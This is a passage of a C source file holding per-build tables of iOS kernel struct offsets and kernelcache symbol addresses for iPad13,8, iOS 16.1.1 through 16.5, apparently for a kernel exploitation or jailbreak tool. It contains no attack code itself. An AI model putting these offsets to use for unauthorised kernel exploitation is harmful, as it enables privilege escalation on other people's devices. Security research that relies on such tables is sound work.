      .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000ab85ab0,\n            .kernelcache__gPhysBase = 0xfffffe0007a982a8,\n            .kernelcache__gPhysSize = 0xfffffe0007a982a8 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a96460,\n            .kernelcache__perfmon_devices = 0xfffffe000abc5550,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080f8dfc,\n            .kernelcache__ptov_table = 0xfffffe00079e39c8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000abc4910,\n            .kernelcache__vm_pages = 0xfffffe00079e0108,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079e2968,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000abc4908,\n            .kernelcache__vn_kqfilter = 0xfffffe0008147958,\n        },\n\n        // iPad Pro 11 inch 5th //\n    // iOS 16.1.1\n    {\n        .kern_version = \"Darwin Kernel Version 22.1.0: Thu Oct  6 19:33:23 PDT 2022; root:xnu-8792.42.7~1/RELEASE_ARM64_T8103\",\n        .build_version = \"20B101\",\n        .device_id = \"iPad13,8\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x530,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x630,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffe0007004000,\n        .kernelcache__cdevsw = 0xfffffe000a9ed168,\n        .kernelcache__gPhysBase = 0xfffffe000799be40,\n        .kernelcache__gPhysSize = 0xfffffe000799be40 + 8,\n        .kernelcache__gVirtBase = 0xfffffe000799a028,\n        .kernelcache__perfmon_devices = 0xfffffe000aa28330,\n        .kernelcache__perfmon_dev_open = 0xfffffe00080b3330,\n        .kernelcache__ptov_table = 0xfffffe00078e79c0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffe000aa27780,\n        .kernelcache__vm_pages = 0xfffffe00078e46d8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078e6970,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffe000aa27778,\n        .kernelcache__vn_kqfilter = 0xfffffe00081057dc,\n    },\n    // iOS 16.2\n        {\n            .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:09:33 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20C65\",\n            .device_id = \"iPad13,8\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000a9f5190,\n            .kernelcache__gPhysBase = 0xfffffe00079a00c8,\n            .kernelcache__gPhysSize = 0xfffffe00079a00c8 + 8,\n            .kernelcache__gVirtBase = 0xfffffe000799e2a8,\n            .kernelcache__perfmon_devices = 0xfffffe000aa303b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080b7f50,\n            .kernelcache__ptov_table = 0xfffffe00078eb378,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aa2f800,\n            .kernelcache__vm_pages = 0xfffffe00078e8090,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078ea328,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aa2f7f8,\n            .kernelcache__vn_kqfilter = 0xfffffe000810a50c,\n        },\n\n        // iOS 16.3\n            {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20D47\",\n            .device_id = \"iPad13,8\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aa01190,\n            .kernelcache__gPhysBase = 0xfffffe00079a01b0,\n            .kernelcache__gPhysSize = 0xfffffe00079a01b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe000799e390,\n            .kernelcache__perfmon_devices = 0xfffffe000aa3c3b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080b7cc4,\n            .kernelcache__ptov_table = 0xfffffe00078eb3b8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aa3b800,\n            .kernelcache__vm_pages = 0xfffffe00078e80d0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078ea368,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aa3b7f8,\n            .kernelcache__vn_kqfilter = 0xfffffe000810a280,\n        },\n\n        // iOS 16.3.1\n            {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20D67\",\n            .device_id = \"iPad13,8\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aa01190,\n            .kernelcache__gPhysBase = 0xfffffe00079a01b0,\n            .kernelcache__gPhysSize = 0xfffffe00079a01b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe000799e390,\n            .kernelcache__perfmon_devices = 0xfffffe000aa3c3b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080b7cc4,\n            .kernelcache__ptov_table = 0xfffffe00078eb3b8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aa3b800,\n            .kernelcache__vm_pages = 0xfffffe00078e80d0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078ea368,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aa3b7f8,\n            .kernelcache__vn_kqfilter = 0xfffffe000810a280,\n        },\n\n        // iOS 16.4\n            {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:40:42 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20E246\",\n            .device_id = \"iPad13,8\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aacd208,\n            .kernelcache__gPhysBase = 0xfffffe0007a7ffc0,\n            .kernelcache__gPhysSize = 0xfffffe0007a7ffc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a7e198,\n            .kernelcache__perfmon_devices = 0xfffffe000ab0b520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080d03c0,\n            .kernelcache__ptov_table = 0xfffffe00079cb188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000ab0a990,\n            .kernelcache__vm_pages = 0xfffffe00079c7eb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079ca128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000ab0a988,\n            .kernelcache__vn_kqfilter = 0xfffffe000811f2b4,\n        },\n\n        // iOS 16.4.1\n            {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:40:42 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20E252\",\n            .device_id = \"iPad13,8\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aacd208,\n            .kernelcache__gPhysBase = 0xfffffe0007a7ffc0,\n            .kernelcache__gPhysSize = 0xfffffe0007a7ffc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a7e198,\n            .kernelcache__perfmon_devices = 0xfffffe000ab0b520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080d03c0,\n            .kernelcache__ptov_table = 0xfffffe00079cb188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000ab0a990,\n            .kernelcache__vm_pages = 0xfffffe00079c7eb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079ca128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000ab0a988,\n            .kernelcache__vn_kqfilter = 0xfffffe000811f2b4,\n        },\n\n        // iOS 16.5\n            {\n            .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:54 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8103\",\n            .build_version = \"20F66\",\n            .device_id = \"iPad13,8\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 